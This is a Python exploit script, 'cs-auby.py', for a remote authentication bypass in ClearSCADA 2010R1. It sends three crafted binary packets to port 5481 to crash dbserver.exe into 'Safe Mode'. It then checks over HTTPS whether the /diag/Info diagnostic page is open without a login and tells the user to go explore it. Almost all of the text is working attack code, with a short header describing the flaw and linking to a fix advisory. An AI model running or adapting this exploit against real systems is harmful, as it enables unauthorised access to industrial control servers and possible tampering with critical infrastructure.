1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 |
#!/usr/bin/python # cs-auby.py # ClearSCADA Remote Authentication Bypass Exploit # # Jeremy Brown # [jbrown3264/gmail] # # Oct 2010 (released Jan 2015) # # There is an authentication bypass vulnerability in ClearSCADA that can be # exploited by triggering an exception in dbserver.exe and taking advantage # of the way the program handles it. # # When an exception in occurs, ClearSCADA enters "Safe Mode". This exposes # it's diagnostic functions to remote users without requiring a valid login # as it would normally. A remote attacker could view senstive information # and possibly modify functions of the server running on the affected host. # # This code triggers an exception in dbserver.exe and checks to see if you # can then access the diagnostic page without authentication. # # Tested on ClearSCADA 2010R1 running on Windows # # Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01 # import sys import socket import httplib import urllib from time import sleep pkt_1=( "\xfb\x0e\x45\x06\x0e\x00\x00\x00\x18\x00\x00\x00" "\x49\x00\x50\x00\x20\x00\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00" "\x2e\x00\x30\x00\x2e\x00\x31\x00\x2c\x00\x20\x00\x53\x00\x65\x00" "\x73\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x20\x00\x30\x00\x00\x00" "\x08\x00\x00\x00" ) pkt_2=( "\x00\x00\x00\x00" "\x26\x00\x00\x00" "\x08\x00\x00\x00\x0f\x00\x00\x00\x43\x00\x72\x00\x79\x00\x73\x00" "\x74\x00\x61\x00\x6c\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00" "\x74\x00\x73\x00\x00\x00" ) pkt_3=( # "Exception Occured" "\x00\x00\x00\x00\xd7\x01\x00\x00\x34\x00\x00\x00\x0d\x00\x00\x00" "\x09\x00\x00\x00\x43\x00\x50\x00\x72\x00\x6f\x00\x66\x00\x69\x00" "\x6c\x00\x65\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00" "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x46\x00\x6c\x00\x6f\x00" "\x61\x00\x74\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00" "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x55\x00\x4c\x00\x6f\x00" "\x6e\x00\x67\x00\x00\x00\x0d\x00\x00\x00\x43\x00\x50\x00\x72\x00" "\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x4c\x00\x6f\x00\x6e\x00" "\x67\x00\x00\x00\x10\x00\x00\x00\x43\x00\x41\x00\x64\x00\xBB\x00" # last w0rd "\x00\x42\x00\x49\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65" "\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41" "\x00\x64\x00\x76\x00\x42\x00\x59\x00\x54\x00\x45\x00\x56\x00\x61" "\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11" "\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x57\x00\x4f\x00\x52" "\x00\x44\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61" "\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76" "\x00\x44\x00\x49\x00\x4e\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75" "\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x12\x00\x00\x00\x43" "\x00\x41\x00\x64\x00\x76\x00\x55\x00\x44\x00\x49\x00\x4e\x00\x54" "\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70" "\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x52" "\x00\x45\x00\x41\x00\x4c\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65" "\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41" "\x00\x64\x00\x76\x00\x44\x00\x4f\x00\x55\x00\x42\x00\x4c\x00\x45" "\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70" "\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x53" "\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x56\x00\x61\x00\x6c" "\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x0f\x00\x00" "\x00\x43\x00\x43\x00\x72\x00\x79\x00\x73\x00\x74\x00\x61\x00\x6c" "\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00\x74\x00\x00\x00\x00" ) port=5481 s_port=443 def do_ssl(target,port): try: conn = httplib.HTTPSConnection(target,port) conn._http_vsn = 10 conn._http_vsn_str = "HTTP/1.0" conn.request("GET","/diag/Info") resp = conn.getresponse() conn.close() except Exception, error: print("Error: %s" % error) return None return resp def main(): if len(sys.argv)!=2: print("Usage: %s <target>" % sys.argv[0]) sys.exit(0) target=sys.argv[1] cs=target,port print "Checking server status..." resp = do_ssl(target,s_port) if(resp == None): return if(resp.status==301): print "Server status is normal.\n" elif(resp.status==200): print "Server is already in safe mode." sys.exit(1) elif((resp.status!=301)|(resp.status!=200)): print("Server returned %d %s, server state unknown.\nContinuing anyways..\n" % (resp.status,resp.reason)) print("Sending packets to trigger exception...\n") try: sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(cs) sock.send(pkt_1) resp_1 = sock.recv(32) sock.send(pkt_2) resp_2 = sock.recv(32) sock.send(pkt_3) resp_3 = sock.recv(32) sock.close() except Exception, error: print("Error: %s" % error) return None print("Finished, checking server status again...") sleep(1) resp = do_ssl(target,s_port) if(resp == None): return if(resp.status==301): print("Server status is still normal, maybe it's patched..\n") elif(resp.status==200): print("Server entered \"safe\" mode :)\n") print("Surf on over to https://%s:443/diag/Info to explore" % target) elif((resp.status!=301)|(resp.status!=200)): print("Server returned %d %s, server state unknown." % (resp.status,resp.reason)) if __name__ == "__main__": main() |